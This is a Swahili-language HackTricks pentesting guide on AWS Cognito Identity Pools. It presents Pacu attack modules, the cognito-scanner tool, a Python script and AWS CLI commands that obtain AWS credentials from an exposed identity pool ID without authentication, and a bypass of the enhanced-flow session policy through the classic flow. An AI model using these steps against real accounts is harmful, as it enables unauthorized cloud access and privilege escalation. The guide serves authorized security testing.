Cognito Identity Pools

Support HackTricks

Taarifa Msingi

Pools za kitambulisho zina jukumu muhimu kwa kuwezesha watumiaji wako kupata vyeti vya muda. Vyeti hivi ni muhimu kwa kupata huduma mbalimbali za AWS, ikiwa ni pamoja na lakini sio tu Amazon S3 na DynamoDB. Sifa muhimu ya pools za kitambulisho ni msaada wao kwa watumiaji wageni wasiojulikana na anuwai ya watoa huduma za kitambulisho kwa uthibitishaji wa mtumiaji. Watoa huduma za kitambulisho wanaoungwa mkono ni pamoja na:

  • Pools za watumiaji za Amazon Cognito

  • Chaguzi za kuingia kijamii kama Facebook, Google, Ingia na Amazon, na Ingia na Apple

  • Watoa huduma wanaofuata OpenID Connect (OIDC)

  • Watoa huduma wa kitambulisho wa SAML (Security Assertion Markup Language)

  • Kitambulisho kilichothibitishwa na msanidi programu

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Ili kuzalisha vikao vya Dimbwi la Kitambulisho, kwanza unahitaji kuzalisha Kitambulisho na Kitambulisho. Hiki Kitambulisho ni utambulisho wa kikao cha mtumiaji huyo. Utambulisho huu unaweza kuwa na hadi seti 20 ambazo zinaweza kuhifadhi hadi 1MB ya jozi za funguo-na-thamani.

Hii ni ya manufaa kuhifadhi habari za mtumiaji (ambaye daima atakuwa akatumia Kitambulisho hicho hicho).

Zaidi ya hayo, huduma ya cognito-sync ndiyo huduma inayoruhusu kudhibiti na kusawazisha habari hizi (katika seti, kutuma habari katika mito na ujumbe wa SNS...).

Zana za pentesting

  • Pacu, fremu ya unyonyaji ya AWS, sasa inajumuisha moduli za "cognito__enum" na "cognito__attack" ambazo zinautomatisha uorodheshaji wa mali zote za Cognito katika akaunti na kuashiria miundo dhaifu, sifa za mtumiaji zinazotumiwa kwa kudhibiti upatikanaji, n.k., na pia kiotomatiki uundaji wa mtumiaji (ikiwa ni pamoja na usaidizi wa MFA) na upandishaji wa mamlaka kulingana na sifa za kawaida zinazoweza kuhaririwa, vitambulisho vya kitambulisho vinavyoweza kutumiwa, majukumu yanayoweza kufikiwa katika alama za kitambulisho, n.k.

Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya machapisho ya blogi. Kwa maelekezo ya usakinishaji angalia ukurasa wa kuu wa Pacu.

Matumizi

Matumizi ya jaribio la cognito__attack kujaribu uundaji wa mtumiaji na vekta zote za upandishaji wa mamlaka dhidi ya dimbwi la kitambulisho lililopewa na mteja wa dimbwi la mtumiaji:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Matumizi ya cognito__enum kuchanganua mabwawa yote ya watumiaji, wateja wa bwawa la watumiaji, mabwawa ya utambulisho, watumiaji, n.k. yanayoonekana katika akaunti ya AWS ya sasa:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ni chombo cha CLI kilichoandikwa kwa python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji usiohitajika wa akaunti na kuongezeka kwa dimbwi la kitambulisho.

Usanidi

$ pip install cognito-scanner

Matumizi

$ cognito-scanner --help

Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner

Kupata Majukumu ya IAM

Bila Kuthibitishwa

Kitu pekee ambacho mshambuliaji anahitaji kujua ili kupata sifa za AWS katika programu ya Cognito kama mtumiaji asiye na uthibitisho ni Kitambulisho cha Dimbwi la Utambulisho, na hiki Kitambulisho lazima kiwekwe kwa nguvu katika programu ya wavuti/simu ili iitumie. Kitambulisho kinaonekana kama hiki: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (hakiwezi kufanyiwa nguvu ya kutafuta).

Jukumu la Cognito lisilo na uthibitisho la IAM lililoanzishwa kupitia kwa chaguo-msingi huitwa Cognito_<Jina la Dimbwi la Utambulisho>Unauth_Role

Ikiwa unapata Kitambulisho la Dimbwi la Utambulisho lililowekwa kwa nguvu na inaruhusu watumiaji wasio na uthibitisho, unaweza kupata sifa za AWS na:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Au unaweza kutumia amri za aws cli zifuatazo:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Tafadhali kumbuka kwamba kwa chaguo-msingi mtumiaji wa cognito ASIYE na uthibitishaji hawezi kuwa na idhini yoyote, hata kama ilipewa kupitia sera. Angalia sehemu ifuatayo.

Mfumo wa Uthibitishaji wa Kuboreshwa dhidi ya Msingi

Sehemu iliyopita ilifuata mfumo wa kawaida wa uthibitishaji ulioboreshwa. Mfumo huu huanzisha sera ya kikao iliyozuiliwa kwa kikao cha jukumu la IAM kilichozalishwa. Sera hii itaruhusu kikao kutumia huduma kutoka kwenye orodha hii (hata kama jukumu lilikuwa na ufikiaji wa huduma nyingine).

Hata hivyo, kuna njia ya kuzidi hili, ikiwa Hifadhi ya Kitambulisho ina "Mfumo wa Msingi (Mkongwe)" umewezeshwa, mtumiaji ataweza kupata kikao kutumia mfumo huo ambao hautakuwa na sera ya kikao iliyozuiliwa.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Ikiwa unapokea kosa hili, ni kwa sababu mtiririko wa msingi haujawezeshwa (chaguo-msingi)

Kumetokea kosa (InvalidParameterException) wakati wa kuita operesheni ya GetOpenIdToken: Mtiririko wa msingi (klasiki) haujaruhusiwa, tafadhali tumia mtiririko ulioboreshwa.

Ukiwa na seti ya vibali vya IAM unapaswa kuchunguza upatikanaji wako na jaribu kuinua mamlaka.

Kuthibitishwa

Kumbuka kuwa watumiaji waliothibitishwa huenda wakapewa idhini tofauti, hivyo ikiwa unaweza kujiandikisha ndani ya programu, jaribu kufanya hivyo na upate vibali vipya.

Pia kunaweza kuwa na majukumu yanayopatikana kwa watumiaji waliothibitishwa wanaoingia kwenye Dimbwi la Kitambulisho.

Kwa hili unaweza kuhitaji kupata upatikanaji wa mtoa huduma wa kitambulisho. Ikiwa hiyo ni Dimbwi la Watumiaji la Cognito, labda unaweza kutumia tabia ya chaguo-msingi na kuunda mtumiaji mpya mwenyewe.

Jukumu la kuthibitishwa la IAM Cognito lililoanzishwa kupitia huitwa kwa chaguo-msingi Cognito_<Jina la Dimbwi la Kitambulisho>Auth_Role

Kwa njia yoyote ile, mfano ufuatao unatarajia kuwa tayari umelogiwa ndani ya Dimbwi la Mtumiaji la Cognito linalotumiwa kupata upatikanaji wa Dimbwi la Kitambulisho (usisahau kuwa aina zingine za watoa huduma wa kitambulisho pia zinaweza kuwa zimeboreshwa).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Pata identity_id kutoka kwa jibu la amri iliyopita
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Katika IdToken unaweza kupata majukumu ambayo mtumiaji ana upatikanaji kwa sababu ya Vikundi vya Dimbwi la Watumiaji
# Tumia --custom-role-arn kupata vibali kwa jukumu maalum
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Inawezekana kuweka majukumu tofauti ya IAM kulingana na mtoa huduma wa kitambulisho ambaye mtumiaji analogiwa au hata kulingana na mtumiaji (kutumia madai). Kwa hivyo, ikiwa una upatikanaji wa watumiaji tofauti kupitia mtoa huduma sawa au tofauti, inaweza kuwa yenye thamani kuingia na kupata majukumu ya IAM ya wote.

Support HackTricks

Last updated